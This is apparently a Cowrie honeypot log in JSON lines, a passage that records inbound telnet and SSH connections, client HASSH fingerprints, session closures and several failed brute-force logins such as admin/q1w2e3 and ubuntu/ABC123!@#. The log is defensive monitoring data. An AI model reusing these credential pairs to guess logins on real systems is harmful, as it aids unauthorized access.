{"eventid":"cowrie.session.closed","duration":32.87938141822815,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:36.328789Z","src_ip":"161.97.105.174","session":"90a2fc2c7161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":54710,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2b6897e92cc","protocol":"telnet","message":"New connection: 161.97.105.174:54710 (159.203.135.109:23) [session: c2b6897e92cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:36.554985Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":36982,"dst_ip":"10.17.0.5","dst_port":22,"session":"89de7bef0eb8","protocol":"ssh","message":"New connection: 202.125.94.71:36982 (10.17.0.5:22) [session: 89de7bef0eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:37.177474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:37.182268Z","src_ip":"202.125.94.71","session":"89de7bef0eb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:37.440893Z","src_ip":"202.125.94.71","session":"89de7bef0eb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"d3ploy","message":"login attempt [deploy/d3ploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:38.510751Z","src_ip":"202.125.94.71","session":"89de7bef0eb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51932,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8e9c68754ea","protocol":"telnet","message":"New connection: 161.97.105.174:51932 (159.203.135.109:23) [session: b8e9c68754ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:39.422690Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:39.771291Z","src_ip":"202.125.94.71","session":"89de7bef0eb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":40006,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c48edfa793a","protocol":"ssh","message":"New connection: 200.118.150.20:40006 (159.203.135.109:22) [session: 1c48edfa793a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:42.251676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:42.275793Z","src_ip":"200.118.150.20","session":"1c48edfa793a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:42.359457Z","src_ip":"200.118.150.20","session":"1c48edfa793a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!@#$%^&*","message":"login attempt [test/!@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:42.697081Z","src_ip":"200.118.150.20","session":"1c48edfa793a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51940,"dst_ip":"159.203.135.109","dst_port":23,"session":"82de3bb4ab52","protocol":"telnet","message":"New connection: 161.97.105.174:51940 (159.203.135.109:23) [session: 82de3bb4ab52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:43.600447Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:43.786663Z","src_ip":"200.118.150.20","session":"1c48edfa793a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51956,"dst_ip":"159.203.135.109","dst_port":23,"session":"258eb2ee6968","protocol":"telnet","message":"New connection: 161.97.105.174:51956 (159.203.135.109:23) [session: 258eb2ee6968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:43.797694Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51960,"dst_ip":"159.203.135.109","dst_port":23,"session":"3059dedbe714","protocol":"telnet","message":"New connection: 161.97.105.174:51960 (159.203.135.109:23) [session: 3059dedbe714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:43.839166Z"}
{"eventid":"cowrie.session.closed","duration":34.64402937889099,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:45.058506Z","src_ip":"161.97.105.174","session":"7a7aca254b07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.78168439865112,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:45.414945Z","src_ip":"161.97.105.174","session":"75113059b1a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.82598114013672,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:45.729371Z","src_ip":"161.97.105.174","session":"0a145d6ba2ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51976,"dst_ip":"159.203.135.109","dst_port":23,"session":"15737b46a54d","protocol":"telnet","message":"New connection: 161.97.105.174:51976 (159.203.135.109:23) [session: 15737b46a54d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:46.308661Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51980,"dst_ip":"159.203.135.109","dst_port":23,"session":"38748607995c","protocol":"telnet","message":"New connection: 161.97.105.174:51980 (159.203.135.109:23) [session: 38748607995c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:46.828000Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51992,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1e49c5810c4","protocol":"telnet","message":"New connection: 161.97.105.174:51992 (159.203.135.109:23) [session: c1e49c5810c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:47.942171Z"}
{"eventid":"cowrie.session.closed","duration":33.45872902870178,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:48.365854Z","src_ip":"161.97.105.174","session":"738aacdd4650","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.52988123893738,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:50.405580Z","src_ip":"161.97.105.174","session":"b1e752e1a665","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45772,"dst_ip":"159.203.135.109","dst_port":23,"session":"da2ce54c022d","protocol":"telnet","message":"New connection: 161.97.105.174:45772 (159.203.135.109:23) [session: da2ce54c022d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:50.734649Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45788,"dst_ip":"159.203.135.109","dst_port":23,"session":"58d9c8a27f05","protocol":"telnet","message":"New connection: 161.97.105.174:45788 (159.203.135.109:23) [session: 58d9c8a27f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:55.965716Z"}
{"eventid":"cowrie.session.closed","duration":35.21148610115051,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:58.341796Z","src_ip":"161.97.105.174","session":"4f05d8dce0f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47410,"dst_ip":"159.203.135.109","dst_port":23,"session":"fabfc0b490a7","protocol":"telnet","message":"New connection: 161.97.105.174:47410 (159.203.135.109:23) [session: fabfc0b490a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:59.056760Z"}
{"eventid":"cowrie.session.closed","duration":33.53499698638916,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:01.784125Z","src_ip":"161.97.105.174","session":"6abb97712507","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47412,"dst_ip":"159.203.135.109","dst_port":23,"session":"c664767c2089","protocol":"telnet","message":"New connection: 161.97.105.174:47412 (159.203.135.109:23) [session: c664767c2089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:05.202374Z"}
{"eventid":"cowrie.session.closed","duration":30.735853910446167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:07.290711Z","src_ip":"161.97.105.174","session":"c2b6897e92cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52728,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a70c8393351","protocol":"telnet","message":"New connection: 161.97.105.174:52728 (159.203.135.109:23) [session: 8a70c8393351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:13.615469Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":34526,"dst_ip":"10.17.0.5","dst_port":22,"session":"7458b6254179","protocol":"ssh","message":"New connection: 200.187.71.114:34526 (10.17.0.5:22) [session: 7458b6254179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:13.897633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:13.901851Z","src_ip":"200.187.71.114","session":"7458b6254179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:14.015709Z","src_ip":"200.187.71.114","session":"7458b6254179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.6650755405426,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:14.087671Z","src_ip":"161.97.105.174","session":"b8e9c68754ea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ABC123!@#","message":"login attempt [ubuntu/ABC123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:14.501770Z","src_ip":"200.187.71.114","session":"7458b6254179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52736,"dst_ip":"159.203.135.109","dst_port":23,"session":"34d1d4b473a1","protocol":"telnet","message":"New connection: 161.97.105.174:52736 (159.203.135.109:23) [session: 34d1d4b473a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:14.852728Z"}
{"eventid":"cowrie.session.closed","duration":31.65117120742798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:15.490242Z","src_ip":"161.97.105.174","session":"3059dedbe714","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:15.617349Z","src_ip":"200.187.71.114","session":"7458b6254179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52752,"dst_ip":"159.203.135.109","dst_port":23,"session":"d70b4e9b2a75","protocol":"telnet","message":"New connection: 161.97.105.174:52752 (159.203.135.109:23) [session: d70b4e9b2a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:16.411504Z"}
{"eventid":"cowrie.session.closed","duration":33.731977224349976,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:17.529577Z","src_ip":"161.97.105.174","session":"258eb2ee6968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52756,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1800096cf95","protocol":"telnet","message":"New connection: 161.97.105.174:52756 (159.203.135.109:23) [session: a1800096cf95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:17.890542Z"}
{"eventid":"cowrie.session.closed","duration":34.70493531227112,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:18.305269Z","src_ip":"161.97.105.174","session":"82de3bb4ab52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51018,"dst_ip":"159.203.135.109","dst_port":23,"session":"0eae435322de","protocol":"telnet","message":"New connection: 161.97.105.174:51018 (159.203.135.109:23) [session: 0eae435322de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:18.767289Z"}
{"eventid":"cowrie.session.closed","duration":34.789844274520874,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:21.098243Z","src_ip":"161.97.105.174","session":"15737b46a54d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51032,"dst_ip":"159.203.135.109","dst_port":23,"session":"b022df978503","protocol":"telnet","message":"New connection: 161.97.105.174:51032 (159.203.135.109:23) [session: b022df978503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:21.165553Z"}
{"eventid":"cowrie.session.closed","duration":33.88603496551514,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:21.828079Z","src_ip":"161.97.105.174","session":"c1e49c5810c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51048,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cba3097688a","protocol":"telnet","message":"New connection: 161.97.105.174:51048 (159.203.135.109:23) [session: 6cba3097688a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:22.610101Z"}
{"eventid":"cowrie.session.closed","duration":36.32555365562439,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:23.153459Z","src_ip":"161.97.105.174","session":"38748607995c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":47486,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aeace76a164","protocol":"ssh","message":"New connection: 154.219.100.220:47486 (10.17.0.5:22) [session: 3aeace76a164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:23.652386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:23.656812Z","src_ip":"154.219.100.220","session":"3aeace76a164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:23.858987Z","src_ip":"154.219.100.220","session":"3aeace76a164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51056,"dst_ip":"159.203.135.109","dst_port":23,"session":"a97a59b311eb","protocol":"telnet","message":"New connection: 161.97.105.174:51056 (159.203.135.109:23) [session: a97a59b311eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:23.884305Z"}
{"eventid":"cowrie.session.closed","duration":33.76003623008728,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:24.494563Z","src_ip":"161.97.105.174","session":"da2ce54c022d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"q1w2e3","message":"login attempt [admin/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:24.704263Z","src_ip":"154.219.100.220","session":"3aeace76a164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:25.910056Z","src_ip":"154.219.100.220","session":"3aeace76a164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":49428,"dst_ip":"10.17.0.5","dst_port":22,"session":"392c41bea9c1","protocol":"ssh","message":"New connection: 152.32.130.174:49428 (10.17.0.5:22) [session: 392c41bea9c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:28.958811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:28.964803Z","src_ip":"152.32.130.174","session":"392c41bea9c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384"